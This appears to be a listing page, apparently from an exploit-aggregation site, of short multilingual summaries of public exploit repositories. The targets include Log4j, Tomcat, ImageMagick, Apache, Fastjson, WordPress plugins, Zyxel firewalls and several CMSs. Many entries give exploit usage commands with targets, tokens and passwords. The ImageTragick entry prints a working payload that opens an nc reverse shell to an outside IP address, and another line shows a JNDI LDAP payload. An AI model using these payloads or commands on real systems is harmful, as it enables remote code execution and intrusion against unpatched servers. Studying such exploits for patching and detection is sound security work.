CVE-2025-24813

Условия эксплуатации Включена функция записи DefaultServlet: необходимо указать readonly=false в web.xml Поддержка частичных PUT-запросов: Tomcat по умолчанию поддерживает фрагментированную загрузку Включено сохранение сессий в файлы: необходимо настроить PersistentManager и FileStore в context.x...

CVE-2025-27520

CVE-2025-27520 CVE-2025-27520的利用程序。BentoML最新版本（v1.4.2）中存在一个由不安全反序列化引起的远程代码执行（RCE）漏洞。它允许任何未经身份验证的用户在服务器上执行任意代码。该漏洞存在于serde.py中的一个不安全代码段。此漏洞已在1.4.3版本中修复。...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228（Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 =2.14.1 1.x 版本存在其他漏洞，建议您更新到最新版本。 与 Log4Shell CVE-2021-44228 相关的安全公告/通报 使用方法： 下载本项目，编译利用代码 blob/master/src/main/java/Exploit.java，并启动一个允许下载编译后二进制文件的 Web 服务器。 root@kitploit: git clone...

CVE-2026-39987

Marimo 0.20.4용 CVE-2026-39987 PoC ⚠️ 이 도구는 교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다. 제작자는 승인되지 않았거나 불법적인 사용에 대해 책임지지 않습니다. 사용에 따른 책임은 본인에게 있습니다. ⚠️ 정보: CVE-2026-39987은 Marimo0.23.0 이전 버전의 치명적인 사전 인증 원격 코드 실행RCE 취약점입니다. 작동 원리: /terminal/ws 엔드포인트는 어떠한 인증 없이 노출되어 있습니다. 내부:...

cve-2021-42013

Apache 2.4.50 - Path Traversal или Remote Code Execution cve-2021-42013.py — это скрипт на Python, который поможет найти уязвимость Path Traversal или Remote Code Execution в Apache 2.4.50. Уязвимый экземпляр Docker предоставлен, чтобы вы могли попрактиковаться в работе с CVE-2021-42013 Если...

fastjson-1.2.60-rce

Fastjson = 1.2.60 反序列化漏洞 By Pass autoType Block List with 2 Gadgets JNDIConfiguration、OracleManagedConnectionFactory Gadgets root@kitploit: 经过测试，命中的4个文件都是可以利用的。 不过其中HikariConfig类就是前文提到的类，在最新版本被加入黑名单，JNDIConnectionPool类在42版本前就被加入黑名单了。 另外的两个类JNDIConfiguration和...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 是 Pluck CMS v4.7.18 中的一个 RCE 漏洞。该漏洞通过 /inc/modulesinstall.php 组件中的任意文件上传漏洞实现，允许通过上传恶意的 .zip 文件执行任意代码。 用法 在运行利用程序之前，需要知道在 /login.php 上认证的密码。 对目标运行利用程序： root@kitploit: $ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 + Creating payload...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 인증된 원격 코드 실행 Subrion CMS 4.2.1의 /panel/uploads는 .htaccess 파일이 이러한 파일을 포함하지 않으므로 원격 공격자가 .pht 또는 .phar 파일을 통해 임의의 PHP 코드를 실행할 수 있습니다. 익스플로잇 사용법 명령어: Windows/Linux: $ sudo python3 subrionRCE.py -u http://IP/panel/ -l -p 참고 자료:...

CVE-2020-9484

CVE-2020-9484 Tomcat Только в образовательных целях. Подробнее см. в разделе «Ссылки». Запуск root@kitploit: $ git clone https://github.com/masahiro331/CVE-2020-9484.git $ cd CVE-2020-9484 $ docker build -t tomcat:groovy . $ CONTAINER=docker run -d -p 8080:8080 tomcat:groovy Проверка до эксплойта...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: Уязвимость обхода аутентификации при входе через SAML в ServiceDesk Plus. Как описано ManageEngine. Если в целевой установке ServiceDesk Plus 11134 включен вход через SAML и у вас есть учетные данные пользователя с низкими привилегиями, вы можете повысить ...

cve-2026-4257

CVE-2026-4257 Этот эксплойт использует CVE-2026-4257 — уязвимость Server-Side Template Injection SSTI в плагине Contact Form от Supsystic для WordPress версий 1.7.36 и более ранних. Эта уязвимость позволяет неаутентифицированному злоумышленнику добиться удалённого выполнения кода. Уязвимость...

CVE-2016-3714

CVE-2016-3714 ImageMagick 代码执行漏洞（CVE-2016-3714） imagickbuilder.py = 简单有效载荷生成器，用于利用 CVE-2016-3714 imagickbypassshell.php = 基于 PHP 的 Web Shell，利用 PHP imagick 扩展包装器绕过禁用的函数 一些工作截图： 有效载荷生成器： imagick 有效载荷 vs 启用 ImageMagick 的 vBulletin 4.x： 有效载荷触发后的服务器端： Web Shell： 命令执行： 文件读取：...

CVE-2016-2555

CVE-2016-2555 漏洞利用 此漏洞利用工具针对 ATutor 2.2.1 中的 SQL 注入漏洞 和 认证弱点漏洞 。通过利用这些漏洞，攻击者可以上传恶意代码，在易受攻击的服务器上实现 远程代码执行（RCE） 。 用法 root@kitploit: $ python3 CVE-2016-2555.py target:port 示例： root@kitploit: $ python3 CVE-2016-2555.py 127.0.0.1:8080 功能特点 利用 ATutor 2.2.1 中的 SQL 注入漏洞。 绕过身份验证以获得管理员权限。 上传恶意负载以实现 RCE。 免责...

CVE-2016-10033

WordPress 4.6 - 远程代码执行 RCE PoC 漏洞利用 CVE-2016-10033 这是 Dawid Golunski 的漏洞利用（41962）的修改版本。...

CVE-2019-19609

CVE-2019-19609 Strapi 远程代码执行 使用方法 python3 exploit.py rhost jwt url lhost 利用POC https://bittherapy.net/post/strapi-framework-remote-code-execution/...

CVE-2013-3214

CVE-2013-3214 vTiger 5.4.0 任意文件上传导致远程代码执行...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽 명령 주입 취약점 CVE-2022-30525 POC&EXP 작성자:160team.west9B 승인된 상태에서 보안 연구원만 사용하도록 제한됩니다. 사이버 보안법을 준수하십시오. 발생하는 모든 문제에 대한 책임은 사용자 본인에게 있으며 작성자와 무관합니다. 01-기본 소개 2022년 5월 12일, Zyxel合勤은 방화벽 장치에서 인증되지 않은 원격 명령 주입 취약점CVE-2022-30525을 수정하는 보안 공지를 발표했습니다. 이 취약점의 CVSS 점수는 9.8입니다. 이 취약점은 일...

CVE-2021-44228-PoC

CVE-2021-44228 PoC PoC для CVE-2021-44228. Проект создан ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ. Эксплойт-сервер Этот проект создаёт два сервера: http и ldap. Оба необходимы для работы эксплойта. Указанный java-файл компилируется, и серверы запускаются в Dockerfile. Полезная нагрузка payload показывается...